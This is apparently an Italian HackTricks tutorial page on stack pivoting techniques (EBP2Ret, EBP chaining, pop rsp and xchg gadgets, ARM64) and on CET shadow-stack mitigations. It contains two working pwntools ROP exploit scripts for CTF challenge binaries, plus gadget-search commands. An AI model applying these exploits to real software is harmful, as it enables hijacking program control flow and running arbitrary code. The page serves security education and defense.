Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 12 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP/RBP) per concatenare l'esecuzione di più funzioni attraverso un uso attento del frame pointer e della sequenza di istruzioni leave; ret.

Come promemoria, su x86/x86-64 leave è equivalente a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

E come il EBP/RBP salvato è nello stack prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.

Note

  • Su 64 bit, sostituisci EBP→RBP e ESP→RSP. La semantica è la stessa.
  • Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, leave potrebbe non apparire e questa tecnica non funzionerà.

EBP2Ret

Questa tecnica è particolarmente utile quando puoi modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dell'epilogo della funzione.

Se, durante l'esecuzione di fvuln, riesci a iniettare un fake EBP nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del pop), puoi controllare indirettamente RIP. Quando la funzione restituisce, leave imposta RSP sulla posizione creata e il successivo pop rbp diminuisce RSP, facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì. Poi ret utilizzerà quell'indirizzo.

Nota come devi conoscere 2 indirizzi: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che ret consumerà.

Costruzione dell'Exploit

Prima devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterà qui e consumerà il primo ret.

Poi, devi scegliere l'indirizzo utilizzato da ret che trasferirà l'esecuzione. Potresti usare:

  • Un indirizzo valido ONE_GADGET.
  • L'indirizzo di system() seguito dal ritorno e dagli argomenti appropriati (su x86: ret target = &system, poi 4 byte spazzatura, poi &"/bin/sh").
  • L'indirizzo di un gadget jmp esp; (ret2esp) seguito da shellcode inline.
  • Una catena ROP in memoria scrivibile.

Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve esserci spazio per il pop ebp/rbp da leave (8B su amd64, 4B su x86). Puoi abusare di questi byte per impostare un secondo fake EBP e mantenere il controllo dopo che la prima chiamata restituisce.

Exploit Off-By-One

C'è una variante utilizzata quando puoi modificare solo il byte meno significativo dell'EBP/RBP salvato. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con ret deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.

È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita.

EBP Chaining

Posizionando un indirizzo controllato nello slot EBP salvato dello stack e un gadget leave; ret in EIP/RIP, è possibile spostare ESP/RSP a un indirizzo controllato dall'attaccante.

Ora RSP è controllato e la prossima istruzione è ret. Posiziona nella memoria controllata qualcosa come:

  • &(next fake EBP) -> Caricato da pop ebp/rbp da leave.
  • &system() -> Chiamato da ret.
  • &(leave;ret) -> Dopo che system termina, sposta RSP al prossimo fake EBP e continua.
  • &("/bin/sh") -> Argomento per system.

In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.

Questo è simile a un ret2lib, ma più complesso e utile solo in casi limite.

Inoltre, qui hai un esempio di una sfida che utilizza questa tecnica con un leak dello stack per chiamare una funzione vincente. Questo è il payload finale dalla pagina:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come system, aggiungi un gadget di allineamento (ad es., ret, o sub rsp, 8 ; ret) prima della chiamata per mantenere l'allineamento ed evitare crash di movaps.

EBP potrebbe non essere utilizzato

Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni o con omissione del puntatore di frame, l'EBP/RBP non controlla mai ESP/RSP. Pertanto, qualsiasi exploit che funziona controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina dal puntatore di frame.

  • Non ottimizzato / puntatore di frame utilizzato:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Ottimizzato / puntatore del frame omesso:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Su amd64 vedrai spesso pop rbp ; ret invece di leave ; ret, ma se il puntatore del frame è completamente omesso, allora non c'è un epilogo basato su rbp attraverso cui effettuare il pivot.

Altri modi per controllare RSP

Gadget pop rsp

In questa pagina puoi trovare un esempio che utilizza questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un gadget pop rsp e c'era una leak dallo stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Controlla la tecnica ret2esp qui:

Ret2esp / Ret2reg

Trovare rapidamente gadget di pivot

Usa il tuo cercatore di gadget preferito per cercare classici primitivi di pivot:

  • leave ; ret su funzioni o in librerie
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (o add esp, <imm> ; ret su x86)

Esempi:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

Una robusta strategia di pivot utilizzata in molti CTF/exploits:

  1. Utilizzare un piccolo overflow iniziale per chiamare read/recv in una grande area scrivibile (ad es., .bss, heap o memoria RW mappata) e posizionare lì una catena ROP completa.
  2. Ritornare in un gadget di pivot (leave ; ret, pop rsp, xchg rax, rsp ; ret) per spostare RSP in quella regione.
  3. Continuare con la catena preparata (ad es., leak libc, chiamare mprotect, poi read shellcode, poi saltare a essa).

Modern mitigations that break stack pivoting (CET/Shadow Stack)

I moderni CPU e OS x86 implementano sempre più CET Shadow Stack (SHSTK). Con SHSTK abilitato, ret confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di protezione del controllo e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo ret viene eseguito da uno stack pivotato.

  • Per informazioni di base e dettagli più approfonditi vedere:

CET & Shadow Stack

  • Controlli rapidi su Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Note per laboratori/CTF:

  • Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel nousershstk, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione.

  • Tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su ret.

  • Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la "Protezione dello Stack Forzata dall'Hardware" in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a ret; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).

ARM64

In ARM64, i prologhi e gli epiloghi delle funzioni non memorizzano e non recuperano il registro SP nello stack. Inoltre, l'istruzione RET non restituisce all'indirizzo puntato da SP, ma all'indirizzo all'interno di x30.

Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo non sarai in grado di controllare il registro SP sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per controllare il registro x30.

  • prologo
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP punta al record del frame
  • epilogo
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di controllare lo SP (controllando qualche registro il cui valore viene passato a SP o perché per qualche motivo SP sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell'epilogo per caricare il registro x30 da uno SP controllato e RET a esso.

Inoltre, nella pagina seguente puoi vedere l'equivalente di Ret2esp in ARM64:

Ret2esp / Ret2reg

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks